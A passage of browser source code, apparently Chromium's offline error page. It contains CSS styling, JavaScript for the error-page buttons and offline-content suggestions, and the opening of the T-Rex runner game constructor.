  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
